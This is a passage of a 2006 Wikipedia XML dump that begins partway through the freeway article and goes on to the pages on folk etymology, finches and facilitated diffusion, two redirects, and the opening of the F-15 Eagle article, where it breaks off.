In Ontario, while the definitions of &quot;freeway&quot; and &quot;expressway&quot; are consistent with that of the US, &quot;highway&quot; is used far more often than freeway, especially inside the [[Greater Toronto Area]]. While this has caused some confusion because the province applies &quot;highway&quot; ('''The King's Highway''') to principal roads in its network, whether freeway or non-freeway, it is usually resolved simply by using the [[400-Series Highway|400-series number]] to distinguish the freeway. Nonetheless, outside of the GTA, the 400-series numbering does not entirely solve the problem as there are non 400-series freeways built to similar standards such as the [[Conestoga Parkway]] (which includes sections of Highways [[Ontario provincial highway 7|7]], [[Ontario provincial highway 8|8]] and [[Ontario provincial highway 85|85]], including a long 7/8 multiplex).  The only freeway officially labelled as such is the [[Ontario provincial highway 401| Macdonald-Cartier Freeway]] but it is usually known as Highway 401 or &quot;the 401&quot;. 

In [[Toronto, Ontario]], several roads labelled &quot;expressways&quot; in the [[Municipal expressways in Toronto|municipal network]] are actually fully controlled-access freeways such as the [[Gardiner Expressway]] and [[Spadina Expressway]] (later renamed Allen Road).

Other provinces use varying rules in their official road designations.

[[Alberta]] and [[British Columbia]] have spent millions of dollars investing to make highways into freeways. In [[Alberta]], the main freeway is the [[Alberta provincial highway 2|Queen Elizabeth II Highway]] running between [[Edmonton, Alberta|Edmonton]] and [[Calgary, Alberta|Calgary]].  The road is a freeway through the city of Calgary. Edmonton, however, has many interchanges in progress.  On the [[Trans-Canada Highway]] west of Calgary, it is a freeway up until the town of [[Lake Louise, Alberta|Lake Louise]].  In [[British Columbia]], the main freeways are [[List of British Columbia provincial highways|BC provincial highways]] [[British Columbia provincial highway 1|1]], [[British Columbia provincial highway 5|5]], [[British Columbia provincial highway 19|19]], [[British Columbia provincial highway 91|91]], [[British Columbia provincial highway 91A|91A]] (Future freeway due to new interchange under construction), [[British Columbia provincial highway 97C|97C]], and [[British Columbia provincial highway 99|99]].

The typical speed limit in Alberta, Saskatchewan, New Brunswick and Nova Scotia, is 110 km/h (70 mph).

In Manitoba, Ontario, Québec and Newfoundland and Labrador, the speed limit never exceeds 100 km/h (65 mph).

British Columbia's standard speed limit is 100 km/h, although at least three of its freeways have speed limits of 110 km/h.

Prince Edward Island and the territories do not have freeways.

In Canada, there does not appear to be a national standard for nomenclature, although ''freeway'' appears to be winning out except in [[Ontario]] where ''expressway'' or ''highway'' is used, and in [[Quebec]] where they are called ''[[autoroute (Quebec)|autoroute]]s'' (borrowing the term from French).

== Construction issues == 
Freeways have been constructed both between urban centres and within them, making common the style of sprawling [[suburb]]an development found near most modern cities.  As well as reducing travel times, the ease of driving on them reduces accident rates, though the speeds involved also tend to increase the severity and death rate of the [[Collision#Traffic|collision]]s (or [[crash]]es) that do still happen.

===Frontage roads===
[[Image:I-80 Eastshore Fwy.jpg|thumb|250px|[[Interstate 80]] is a major urban freeway in the [[San Francisco Bay Area]] (seen here near [[Berkeley, California]]).  The frontage road on the far right typically becomes just as congested as the main freeway.]]
Because abutters do not have the right of access that they would have for an ordinary public road, the authority undertaking construction of a freeway is frequently required to provide alternate means of access to those landowners.  This is frequently accomplished, in areas lacking a dense surface street network, by construction of two uncontrolled roads parallel to and on either side of the freeway, known as [[frontage road]]s.  These often are designed with one-way traffic flow, but not always.  

In [[Texas]], where this pattern is perhaps at its zenith, such roads are frequently constructed in anticipation of a future freeway corridor, as many as ten years in advance, in order to influence development patterns on the adjoining land.  Frontage roads are also often constructed in more densely-developed areas as a means to provide convenient direct access to and from the parallel freeway while minimizing the need for interchanges at every major cross street.  However, some traffic studies have indicated that this particular type of access and the development that ensues generally causes significant traffic congestion and disrupts flows along major freeways.  These studies prompted concern for TxDOT, which formally adopted a major shift in frontage road [http://www.abilenetx.com/comp/www.abilenecompplan.com/abilene_comp/documentframeset3fcd.html?docname=http://www.abilenecompplan.com:80/abilene_comp/docs/FrontageRoad.pdf policy] (2002) by stating that ''no new frontage roads will be built along any proposed limited-access freeways'', thus ending a long-standing pattern of freeway-induced development in Texas.  Access issues will continue to be assessed on a local basis, and frontage roads could still be constructed if warranted by traffic studies.

===Collector lanes===
[[Image:401atDVP.jpg|thumb|250px|[[Highway 401]] through the [[Greater Toronto Area]] uses a collector-express system to divide traffic.]]
The successor to frontage/service roads in urban freeways is the [[Local lane|collector-express]] system; the lanes accessing (often closely-spaced) interchange ramps are known as [[collector/distributor road]]s.  Newer suburban freeways are designed with interchanges spaced far apart such that neither service roads or collector lanes are needed.

== History ==

The concept of limited-access automobile highways dates back to the [[New York City]] area [[Parkway]] system, which began to be constructed in [[1907]]&amp;ndash;[[1908]].  Designers elsewhere also researched these ideas, especially in [[Germany]], where the [[Autobahn]] became the first national freeway system.  

The term &quot;freeway&quot; first surfaced in the mid-1930s in proposals for the improvement of the New York City parkway network{{ref|yordan}}{{ref|bernstein}}.   However, the first true freeway in the United States is generally considered to be the [[Pennsylvania Turnpike]], which opened on [[October 1]], [[1940]].  The Turnpike was so advanced for its time that tourists even had picnics in the median (that is, after it was already open to traffic) and local [[entrepreneur]]s did a brisk business in souvenirs{{ref|patton}}.  It was designed so that straightaways could handle maximum speeds of 102 miles per hour, and curves could be taken as fast as 90.  

Shortly thereafter, on [[December 30]], [[1940]], [[California]] opened its first freeway, the [[Arroyo Seco Parkway]] (now called the Pasadena Freeway) which connected [[Pasadena, California|Pasadena]] with [[Los Angeles, California|Los Angeles]].  And in 1944, [[Michigan]] opened its first freeway, the [[Davison Freeway]], within [[Detroit]].  Meanwhile, traffic in Los Angeles continued to deteriorate and local officials began planning the huge freeway network for which the city is now famous{{ref|hill}}.

Today, many freeways in the United States belong to the extensive [[Interstate highway]] system (most of which was completed between 1960 and 1990).  Almost all interstates are freeways, but the earlier [[United States highway]] system and the highway systems of [[U.S. state]]s also have many sections that are limited-access (though these systems are mostly composed of uncontrolled roads).  Only a handful of sections of the Interstate system are not freeways, such as [[Interstate 81|I-81]] as it crosses the American span of the 2-lane Thousand Islands Bridge.

== Controversy ==
[[image:traffic06.jpg|thumb|right|250px|[[Rush hour]] on [[I-45]], downtown Houston.]]
Freeways have been heavily criticized by environmentalists and preservationists for the noise, pollution, and economic shifts they bring.  Additionally, they have also been criticized by the driving public for the inefficiency with which they handle peak hour traffic{{ref|mccreery}}{{ref|coulombe}}.  

Often, rural freeways open up vast areas to economic development, generally raising property values.  But mature freeways in urban areas are quite often a source of lowered property values, contributing to the deleterious effects of [[urban blight]].  One major problem is that even with overpasses and underpasses, freeways tend to divide neighborhoods &amp;mdash; especially impoverished ones where residents are less likely to own a car that could easily take them around the freeway{{ref|spivak}}.  

For these reasons, almost no new urban freeways have been built in the U.S. since 1970.  Some have even been demolished and reclaimed as boulevards, notably in [[San Francisco]] ([[Interstate 480 (California)|Embarcadero Freeway]]) and [[Milwaukee]] ([[Park East Freeway]]).  The outcome of a FHWA case study{{ref|fhwastudy}} involving the West Side Highway in Manhattan proposes that the current elevated highway be replaced with a new, at-grade boulevard with integrated pedestrian facilities.  This case study is suggested as a precedent for areas where a typical, elevated urban freeway is not desirable and/or effective at handling impacted traffic.

Some argue that freeway expansion is self-defeating, in that expansion will just generate more traffic.  That is, even if traffic congestion is initially shifted from local streets to a new or widened freeway, people will begin to run errands and commutes to more remote locations which took too long to reach in the past.  Over time, the freeway and its environs will become congested again as both the average number and distance of trips increase.  This is the debated [[induced demand]] [[hypothesis]]{{ref|cervero}}{{ref|martin}}.  

Pro-freeway advocates point out that properly designed and maintained freeways are aesthetically pleasing, convenient, and safe, at least in comparison to the uncontrolled roads they replace or supplement. Freeways expand recreation, employment and education opportunities for individuals{{ref|vanhengel}} and open new markets to [[small business]]es.  And for many, uncongested freeways are fun to drive.  

At present, freeway expansion has largely stalled in the [[United States]], due to a multitude of factors that converged in the [[1970]]s: higher [[due process]] requirements prior to taking of private [[property]], increasing land values, increasing costs for construction materials, local opposition to new freeways in urban cores, the passage of the [[National Environmental Policy Act]] (which imposed the requirement that each new project must have an [[environmental impact statement]] or report), and falling [[gas tax]] revenues as a result of the nature of the flat-cent tax (it is not automatically adjusted for inflation) and the [[tax revolt]] movement{{ref|taylor}}.  Dramatic improvements in vehicle gas mileage have also reduced gas tax revenues.

== Recent developments ==
Outside the U.S., many countries continue to rapidly expand their freeway networks.  Examples include: [[Australia]], [[Canada]], [[Chile]], [[China]], [[France]], [[India]], [[Israel]], [[Mexico]], [[Malaysia]], [[Pakistan]], the [[Philippines]], [[Spain]] and [[Taiwan]].  Australia and France in particular have been innovative in using the newest tunneling technologies to bring freeways into high-density downtowns ([[Sydney]] and [[Melbourne]]) and historic rural areas ([[Versailles]]).  China already has the world's second largest freeway network in terms of total kilometers and will probably overtake the U.S. well before the end of the 21st century.  

In Australia, the city of [[Adelaide]] pioneered the concept of a dedicated reversible freeway.
The M2 expressway runs toward the city in the morning and out of the city in the evening. Its ramps are designed so that they can double as on- or off-ramps, depending upon the time of day. Gates and electronic signage prevent motorists from driving in the wrong direction.

Meanwhile, major progress has been made in making existing U.S. freeways and expressways more efficient.  Experiments include the addition of [[high-occupancy vehicle lane]]s (HOV lanes) to discourage driving solo, and building new roads with [[train]] tracks down the [[Central reservation|median]] (or overhead).  California's [[Caltrans]] has been very innovative in squeezing HOVs into limited right-of-way (by elevating them), and in building special HOV-only ramps so that HOVs can switch freeways or exit the freeway without having to merge across regular traffic.  Many states have added truck-only ramps or lanes on heavily congested routes, so that cars need not weave around slow-moving big rigs. 

[[Intelligent transportation system]]s (ITS) are also increasingly used, with [[camera]]s to monitor and direct traffic, so that [[police]], [[fire brigade|fire]], [[ambulance]], [[tow truck|tow]], or other assistance [[vehicle]]s can be [[dispatch]]ed as soon as there is a problem, and to warn [[driving|drivers]] via [[variable message signs]], [[radio]], [[television]], and [[the web]] to avoid problem areas.  Research has been underway for many years on how to partly [[automate]] cars by making [[smart road]]s with such things as buried [[magnet]]s to guide [[sensor]]-equipped vehicles, with on-board [[GPS]] to determine location, direction, and destination.  While these systems may eventually be used on surface streets as well, they are most [[practical]] in a freeway setting.

In the United States, a few short privatized [[toll road|tolled]] freeways have also been built by private companies with mixed success.

===Freeways around the world===
&lt;gallery&gt;
Image:freeway.jpg|[[Interstate 405 (California)|Interstate 405]] in [[Irvine, California]], with an [[Road junction|interchange]] in the foreground
Image:TullamarineFwy.jpg|The &quot;[[Sound Tube]]&quot;, [[CityLink]] Freeway, [[Melbourne]], Victoria, Australia.
Image:Autopista-Central-2.jpg|Autopista Central, [[Santiago, Chile]].
Image:AutopistaLibertadores.JPG|Autopista Los Libertadores, (International Freeway) [[Santiago, Chile]]
Image:DSCN4922.JPG|[[North Central Expressway|US-75 Central Expressway]] southbound in [[Dallas]],Texas
Image:376 east.jpg|Interstate 376 eastbound in downtown [[Pittsburgh]]
Image:Swedish_Motorway_Varberg.jpg|Europeway E6 E20 in southwest [[Sweden]] in [[Varberg]]
Image:Old_Autobahn_DE.jpg|Two-lane German [[Autobahn]] without emergency lane
&lt;/gallery&gt;

==References==

{{note|anonymous}} Anonymous.  &quot;Median barriers prove their worth.&quot;  ''Public Works'' 123, no. 3 (March 1992): 72-73.

{{note|bernstein}} Bernstein, Victor H. &quot;Safer Motor Roads: New Construction Principles Introduced On Modern Highways To Cut Accidents.&quot; ''[[New York Times]]'', [[1 December]] [[1935]], p. 21.

{{note|california}} Cal. Streets &amp; Highways Code, Section 257.

{{note|cervero}} Cervero, Robert. &quot;Road expansion, urban growth, and induced travel: a path analysis.&quot;  ''Journal of the American Planning Association'' 69, no. 2 (Spring 2003): 145-164.

{{note|coulombe}} Coulombe, Gerard. &quot;Doing The Turnpike Crawl.&quot; ''[[New York Times]]'', [[6 July]] [[1986]], sec. CN, p. 16.

{{note|fhwastudy}} Federal Highway Administration, Case Studies, 'Route 9 Reconstruction'
[http://www.fhwa.dot.gov/environment/flex/cs01.htm]

{{note|hill}} Hill, Gladwin. &quot;Traffic Chaos Spurs Los Angeles To Plan 'Freeways' On Mass Scale: Coast Metropolis, Lacking Rapid Transit System Such as New York Possesses, Maps $300,000,000 Highway Set-Up.&quot; ''[[New York Times]]'', [[13 January]] [[1947]], p. 12.

{{note|martin}} Martin, Hugo. &quot;Will More Freeways Bring More Traffic?&quot; ''[[Los Angeles Times]]'', [[10 April]] [[2002]], sec. B, p. 1. 

{{note|mccreery}} McCreery, Sandy.  &quot;Don't just sit there, enjoy it!&quot;  ''[[New Statesman]]'', [[23 July]] [[2001]], 23.

{{note|mississippi}} Mississippi Code, Section 65-5-3, subdivisions (b) and (c).

{{note|missouri}} Missouri Revised Statutes, Section 304.010.

{{note|mutcd}} Section 1A.13, Manual on Uniform Traffic Control Devices, 2003 ed. [http://mutcd.fhwa.dot.gov/HTM/2003r1/part1/part1a.htm]

{{note|nebraska}} Nebraska Statutes, Sections 60-618.01 and 60-621.

{{note|ohio}} Ohio Revised Code, Section 4511.01, subdivisions (YY) and (ZZ). 

{{note|patton}} Patton, Phil.  &quot;A quick way from here to there was also a frolic.&quot; ''Smithsonian'' 21, no. 7 (October 1990): 96-108.

{{note|spivak}} Spivak, Jeffrey.  &quot;Today's road opening represents progress, pain.&quot;  ''Kansas City Star'', [[27 July]] [[1999]], sec. A, p. 1.

{{note|taylor}} Taylor, Brian D.  &quot;Public perceptions, fiscal realities, and freeway planning: the California case.&quot;  ''Journal of the American Planning Association'' 61, no. 1 (Winter 1995): 43-59.  

{{note|vanhengel}} Van Hengel, Drusilla, Joseph DiMento, and Sherry Ryan. &quot;Equal Access? Travel Behaviour Change in the Century Freeway Corridor, Los Angeles.&quot; ''Urban Studies'' 36, no. 1 (March 1999): 547.  

{{note|wisconsin}} Wisconsin Statutes, Sections 59.84(1)(b) and 346.57(1)(am).

{{note|yordan}} Yordan, E.L. &quot;The 'Freeway' System Expands: Broader Roads With Grade Crossings Eliminated Are Built And Latest Designs Envision Still Greater Speed And Safety.&quot; ''[[New York Times]]'', [[24 February]] [[1935]], p. 21.

== See also ==
* [[Motorway]], [[Autobahn]], [[Autoroute]], [[Expressway]]
* [[Divided highway]]
* [[Hierarchy of roads]]
* [[Highway]]
* [[Non-motorized vehicle access on freeways]]
* [[List of roads and highways]]
* [[Parkway]]
* [[Road safety]]
* [[List of major freeway systems]]
* [[Controlled-access highway]]
* [[Limited-access highway]]
* [[Freeway revolts]]

== External links ==
* [http://www.georgianavigator.com Georgia NaviGAtor] - example of a freeway information system
* [http://www.archenzo.it A new concept in motorway design - Rethink the highways]

[[ca:Autopista]]
[[da:Motorvej]]
[[de:Autobahn]]
[[es:Autovía]]
[[fr:Autoroute]]
[[ja:高速道路]]
[[ko:고속도로]]
[[it:Autostrada]]
[[nl:Autosnelweg]]
[[pl:Autostrada]]
[[pt:Via expressa]]
[[sv:Motorväg]]{{Link FA|sv}}
[[zh:高速公路]]

[[Category:Freeways| ]]</text>
    </revision>
  </page>
  <page>
    <title>Folk etymology</title>
    <id>11709</id>
    <revision>
      <id>40363632</id>
      <timestamp>2006-02-20T01:51:57Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Folk etymology''' (or '''popular etymology''') is a [[Linguistics|linguistic]] term for a category of [[false etymology]] which has grown up in popular lore, as opposed to one which arose in scholarly usage.  

Folk etymology is particularly important because it can result in the modification of a word or phrase by [[analogy]] with the erroneous [[etymology]] which is popularly believed to be true.  In this case, 'folk etymology' is the trigger which causes the process of linguistic [[analogy]] by which a word or phrase changes because of a popularly-held etymology, or misunderstanding of the history of a word or phrase.  Here the term 'folk etymology' is also used (originally as a shorthand) to refer to the change itself.

The question of whether the resulting usage is &quot;correct&quot; or &quot;incorrect&quot; depends on one's notion of correctness and is in any case distinct from the question of whether a given etymology is correct.

==Instances of word change by folk etymology==

In linguistic change caused by folk etymology, the form of a word changes so that it better matches its popular rationalisation. For example, the [[Old English language|Old English]] ''sam-blind'' (&quot;semi-blind&quot; or &quot;half-blind&quot;) became ''[[Wiktionary:sand-blind|sand-blind]]'' (as if &quot;blinded by the sand&quot;) when people were no longer able to make sense of the element ''sam'' (&quot;half&quot;), and the Old English ''[[Wiktionary:bryd-guma|bryd-guma]]'' (&quot;bride-man&quot;) became ''[[Wiktionary:bridegroom|bridegroom]]'' after the loss of the Old English word ''[[Wiktionary:guma|guma]]'' (&quot;man&quot;, compare French ''[[Wiktionary:homme|homme]]'') rendered the compound semantically obscure. The silent ''s'' in ''[[Wiktionary:island|island]]'' is also a result of folk etymology. The word, which derives from an Old English compound of ''ig'' (&quot;water&quot;, surprisingly, [[cognate]] to [[Latin]] ''[[Wiktionary:aqua|aqua]]'') with ''[[Wiktionary:land|land]]'', was erroneously believed to be related to ''[[Wiktionary:isle|isle]]'', which has a similar meaning but derives from Latin ''[[Wiktionary:insula|insula]]'' (&quot;island&quot;). More recent examples are the French ''(e)crevisse'' (likely from [[Germanic languages|Germanic]] ''[[Wiktionary:krebiz|krebiz]]'') which became the English ''[[Wiktionary:crayfish|crayfish]]'', and ''[[Wiktionary:asparagus|asparagus]]'', which in England became ''[[Wiktionary:sparrow-grass|sparrow-grass]]''. Similarly, ''[[Wiktionary:cater-corner|cater-corner]]'' became ''[[Wiktionary:kitty-corner|kitty-corner]]'' or ''[[Wiktionary:catty-corner|catty-corner]]'' when the original meaning of ''[[Wiktionary:cater|cater]]'' (&quot;four&quot;) had become obsolete.  

Other changes due to folk etymology include:
:''[[Wiktionary:buttonhole|buttonhole]]'' from ''[[Wiktionary:buttonhold|buttonhold]]'' (originally a loop of string that held a button down)
:''[[Wiktionary:hangnail|hangnail]]'' from ''[[Wiktionary:agnail|agnail]]''
:''[[Wiktionary:penthouse|penthouse]]'' from ''[[Wiktionary:pentice|pentice]]''
:''[[Wiktionary:sweetheart|sweetheart]]'' from ''[[Wiktionary:sweetard|sweetard]]'' (the same suffix as in ''[[Wiktionary:dullard|dullard]]'' and ''[[Wiktionary:dotard|dotard]]'')
:''[[Wiktionary:shamefaced|shamefaced]]'' from ''[[Wiktionary:shamefast|shamefast]]''
:''[[Wiktionary:chaise lounge|chaise lounge]]'' from ''[[Wiktionary:chaise longue|chaise longue]]''

When a [[back-formation]] rests on a misunderstanding of the morphology of the original word, it may be regarded as a kind of folk etymology.
In heraldry, a [[rebus]] coat-of-arms may reinforce a folk etymology for a placename.

For further examples, see the following articles that discuss folk etymologies for their subjects:
*[[Belfry (architecture)]]
*[[Brass monkey]]
*[[Brent Goose]]
*[[Caesarean section]]
*[[Common scold|Ducking stool]]
*[[Gringo]]
*[[Jerusalem artichoke]]
*[[Poll tax]]
*[[Rake|Rake-hell]]
*[[Serviceberry]]
*[[Welsh rabbit|Welsh rarebit]]

==See also==

*[[Back-formation]]

==Reference==
* Adrian Room, ''Dictionary of True Etymologies'', 1986, Routledge &amp; Kegan Paul ISBN 0-710-20340-3

==External links==
* Richard Lederer, [http://www.jewishworldreview.com/0203/lederer022003.asp ''Spook Etymology on the Internet'']
* [http://www.phrases.org.uk/meanings/fallacy.html Popular fallacies in the attribution of phrase origins]

[[Category:Urban legends]]
[[Category:Etymology]]

[[da:Folkeetymologi]]
[[de:Volksetymologie]]
[[fr:Étymologie populaire]]
[[hu:Népetimológia]]
[[it:Pseudoetimologia]]
[[ja:&amp;#27665;&amp;#38291;&amp;#35486;&amp;#28304;]]
[[nl:Volksetymologie]]
[[ru:&amp;#1053;&amp;#1072;&amp;#1088;&amp;#1086;&amp;#1076;&amp;#1085;&amp;#1072;&amp;#1103; &amp;#1101;&amp;#1090;&amp;#1080;&amp;#1084;&amp;#1086;&amp;#1083;&amp;#1086;&amp;#1075;&amp;#1080;&amp;#1103;]]
[[sv:Folketymologi]]</text>
    </revision>
  </page>
  <page>
    <title>Finch</title>
    <id>11711</id>
    <revision>
      <id>40363636</id>
      <timestamp>2006-02-20T01:51:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = True Finches
| image = Eveninggrosbeak12.jpg
| image_width = 200px
| image_caption = [[Evening Grosbeak]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = [[Passerine|Passeriformes]]
| familia = '''Fringillidae'''
| familia_authority = [[Nicholas Aylward Vigors|Vigors]], 1825
| subdivision_ranks = Genera
| subdivision = 
''Many, see text''
}}
'''Finches''' are [[seed]]-eating [[passerine]] [[bird]]s, the many [[species]] of which are found chiefly in the northern hemisphere, but also to a limited extent in [[Africa]] and [[South America]]. 

They are small to moderately large and have a strong [[beak]], usually [[cone (solid)|conical]] and in some species very large. All have 12 tail feathers and 9 primaries. These birds have a bouncing flight with alternating bouts of flapping and gliding on closed wings, and most sing well. Their nests are basket-shaped and built in trees.

A group of finches is called a ''charm''.

==Species==
*Family '''Fringillidae'''
**Subfamily '''Fringillinae''' - '''Fringilline''' finches;   contains only three species, which feed their young on insects rather than seeds.
***Genus ''[[Fringilla]]'' - Bramblings and chaffinches
****[[Chaffinch]] (''Fringilla coelebs'')
****[[Blue Chaffinch]] (''Fringilla teydea'')
****[[Brambling]] (''Fringilla montifringilla'')
**Subfamily '''Carduelinae''' - '''Cardueline''' finches; a much larger group that contains several genera which feed their young on seeds.
***Genus ''[[Serinus]]'' - [[canary|Canaries]], [[seedeater]]s, [[serin]]s and some [[siskin|siskins]] 
***Genus ''[[Carduelis]]'' -  [[linnet|Linnets]],  [[redpoll|redpolls]], [[goldfinch]]es, [[greenfinch]]es, some siskins.
***Genus ''[[Carpodacus]]'' - [[Rosefinch]]es
***Genus ''[[Loxia]]'' -  [[Crossbill]]s
***Genus ''[[Mycerobas]]'' - [[Mycerobas Grosbeak|Grosbeak]]s
***Genus ''[[Neospiza]]'' - [[Sao Tomé Grosbeak]]
***Genus ''[[Linurgus]]'' - [[Oriole Finch]]
***Genus ''[[Rhynchostruthus]]'' - [[Golden-winged Grosbeak]]
***Genus ''[[Leucosticte]]'' - [[Mountain finch]]es
***Genus ''[[Calacanthis]]'' - [[Red-browed Finch]]
***Genus ''[[Rhodopechys]]'' - [[Trumpeter Finch]] and relatives
***Genus ''[[Uragus]]'' - [[Long-tailed Rosefinch]]
***Genus ''[[Urocynchramus]]'' - [[Przewalski's Rosefinch]]
***Genus ''[[Pinicola]]'' - [[Pine grosbeak]]s
***Genus ''[[Haematospiza]]'' - [[Scarlet Finch]]
***Genus ''[[Pyrrhula]]'' - [[Bullfinch]]es 
***Genus ''[[Coccothraustes]]'' - [[Hawfinch]], [[Evening Grosbeak]]
***Genus ''[[Eophona]]'' - [[Oriental grosbeak]]s
***Genus ''[[Pyrrhoplectes]]'' - [[Gold-naped Finch]]

There are many other birds in other groups which are called finches, notably the very similar-looking  Estrildids or [[waxbill]]s, which occur in the Old World tropics and [[Australia]].

Some of the closely related [[sparrow]]s are also named as &quot;finches&quot;, as are some [[bunting (bird)|bunting]]s.

*Some other [[Cardueline]] finch species not listed above:
**[[Sao Tome Grosbeak]] (''Neospiza concolor'')
**[[Oriole Finch]] (''Linurgus olivaceus'')
**[[Golden-winged Grosbeak]] (''Rhynchostruthus socotranus'')
**[[Pine Grosbeak]] (''Pinicola enucleator'')
**[[Crimson-browed Finch]] (''Pinicola subhimachalus'')
**[[Hawfinch]] (''Coccothraustes coccothraustes'')
**[[Evening Grosbeak]] (''Coccothraustes vespertinus'')
**[[Hooded Grosbeak]] (''Coccothraustes abeillei'')
**[[Yellow-billed Grosbeak]] (''Eophona migratoria'')
**[[Japanese Grosbeak]] (''Eophona personata'')
**[[Black-and-yellow Grosbeak]] (''Mycerobas icterioides'')
**[[Collared Grosbeak]] (''Mycerobas affinis'')
**[[Spot-winged Grosbeak]] (''Mycerobas melanozanthos'')
**[[White-winged Grosbeak]] (''Mycerobas carnipes'')
**[[Gold-naped Finch]] (''Pyrrhoplectes epauletta'')
**[[Spectacled Finch]] (''Callacanthis burtoni'')
**[[Crimson-winged Finch]] (''Rhodopechys sanguinea'')
**[[Trumpeter Finch]] (''Rhodopechys githaginea'')
**[[Mongolian Finch]] (''Rhodopechys mongolica'')
**[[Desert Finch]] (''Rhodopechys obsoleta'')
**[[Long-tailed Rosefinch]] (''Uragus sibiricus'')
**[[Scarlet Finch]] (''Haematospiza sipahi'')

==References==
{{Commonscat|Fringillidae}}
* ''Finches and Sparrows'' by Clement, Harris and Davis, ISBN 0-7136-8017-2

==External links==
*[http://www.finchinfo.com FinchInfo.com] Information on keeping finches as pets.

[[Category:Fringillidae|*]]

{{Link FA|de}}

[[cy:Fringillidae]]
[[da:Finker]]
[[de:Finken]]
[[eo:Fringedoj]]
[[fr:Pinson]]
[[io:Finko]]
[[nl:Vinkachtigen]]
[[ja:アトリ科 (Sibley)]]
[[lt:Kikiliniai]]
[[pl:Łuszczaki]]
[[pt:Fringillidae]]
[[sv:Finkfåglar]]
[[tr:Fringillidae]]
[[zh:雀科]]</text>
    </revision>
  </page>
  <page>
    <title>Facilitated diffusion</title>
    <id>11712</id>
    <revision>
      <id>40153208</id>
      <timestamp>2006-02-18T15:34:30Z</timestamp>
      <contributor>
        <username>BorisTM</username>
        <id>198330</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Facilitated diffusion''', ('''facilitated transport''') is a process of [[diffusion]], a form of [[passive transport]], via which [[molecule]]s diffuse across [[cell membrane|membranes]], with the assistance of [[transport protein]]s.

Small uncharged molecules can easily diffuse across cell membranes. However, due to the [[hydrophobe|hydrophobic]] nature of the [[lipid]]s that make up cell membranes, water-soluble molecules and ions cannot do so; instead, they are helped across by transport proteins. The transport protein involved is intrinsic, that is, it completely spans the membrane. It also has a binding site for the specific molecule such as [[glucose]], or ion to be transported. After binding to the molecule, the protein changes shape and carries the molecule across the membrane, where it is released. The protein then returns to its original shape, to wait for more molecules to transport.

In contrast to [[active transport]], facilitated diffusion does not require energy and carries molecules or ions down a concentration gradient.

Facilitated diffusion can take place in pores and gated channels. Pores never close, but gated channels open and close in response to stimuli.

The transport proteins participating in facilitated diffusion resemble [[enzymes]]. Just as enzymes are substrate specific and only catalyze certain substrates, transport proteins are solute specific and only transport certain solutes. Transport proteins also have a limit of how many solutes they can transport that they cannot exceed. Finally, molecules can inhibit the protein in a way similar to [[competitive inhibition]] in enzymes. 

[[Category:Diffusion]]
[[Category:Biochemistry]]

[[fi:Fasiloitunut kuljetus]]
[[th:การแพร่สารแบบฟาซิลิเทต]]</text>
    </revision>
  </page>
  <page>
    <title>FA-18 Hornet</title>
    <id>11713</id>
    <revision>
      <id>15909440</id>
      <timestamp>2002-03-26T04:51:38Z</timestamp>
      <contributor>
        <username>Uriyan</username>
        <id>64</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[F/A-18 Hornet]]</text>
    </revision>
  </page>
  <page>
    <title>F-18</title>
    <id>11714</id>
    <revision>
      <id>15909441</id>
      <timestamp>2003-07-26T21:10:13Z</timestamp>
      <contributor>
        <username>Hephaestos</username>
        <id>3628</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[F/A-18 Hornet]]</text>
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  </page>
  <page>
    <title>F-15 Eagle</title>
    <id>11715</id>
    <revision>
      <id>41995252</id>
      <timestamp>2006-03-03T02:43:42Z</timestamp>
      <contributor>
        <username>Mmx1</username>
        <id>263229</id>
      </contributor>
      <comment>rv - transformers are not relevant to this article, see [[Wikipedia_talk:WikiProject_Aircraft#Popular_Culture]]</comment>
      <text xml:space="preserve">[[Image:F-15 eagle USAF.jpg|thumb|300px]]
The [[Boeing]] (formerly [[McDonnell Douglas]]) '''F-15 Eagle''' is an American-built all-weather tactical [[Fighter aircraft|fighter]] designed to gain and maintain [[air superiority]] in aerial combat.  It first flew in July of 1972.

A derivative of the aircraft is the '''[[F-15E Strike Eagle]]''', a highly successful all-weather strike fighter which entered service in 1988.
==Design==
The F-15's maneuverability is derived from low [[wing loading]] (weight to wing area ratio) with a high thrust-to-weight ratio enabling the aircraft to turn tightly without losing airspeed. The F-15 can climb to 30,000 ft. in around 60 seconds. The weapons and flight control systems are designed so one person can safely and effectively perform air-to-air combat.  

A multimission avionics system includes a [[Head-Up Display]], advanced [[radar]], inertial navigation system, flight instruments, [[ultra high frequency]] communications, tactical navigation system and [[Instrument Landing System]]. It also has an internally mounted, tactical electronic-warfare system, &quot;[[identification friend or foe]]&quot; system, electronic countermeasures suite and a central digital computer. 

The head-up display projects through a combiner, all essential flight information gathered by the integrated avionics system. This display, visible in any light condition, provides the pilot information necessary to track and destroy an enemy aircraft without having to look down at cockpit instruments. 

The F-15's versatile [[APG-63 &amp; APG-70 F-15 Radars|APG-63/70]] [[Pulse-doppler]] radar system can look up at high-flying targets and down at low-flying targets without being confused by ground clutter. It can detect and track aircraft and small high-speed targets at distances beyond visual range down to close range, and at altitudes down to treetop level. The radar feeds target information into the central computer for effective weapons delivery. For close-in dogfights, the radar automatically acquires enemy aircraft, and this information is projected on the head-up display. The F-15's electronic warfare system provides both threat warning and automatic countermeasures against selected threats. Because of the advanced electronics deployed on the F-15, the aircraft was given the nickname &quot;Starship&quot; by users.

A variety of air-to-air weaponry can be carried by the F-15. An automated weapon system enables the pilot to perform aerial combat safely and effectively, using the head-up display and the avionics and weapons controls located on the engine throttles or control stick. When the pilot changes from one weapon system to another, visual guidance for the required weapon automatically appears on the head-up display. 

[[Image:F-15s_formation.jpg|thumb|left|250px|Two F-15 Eagles]]
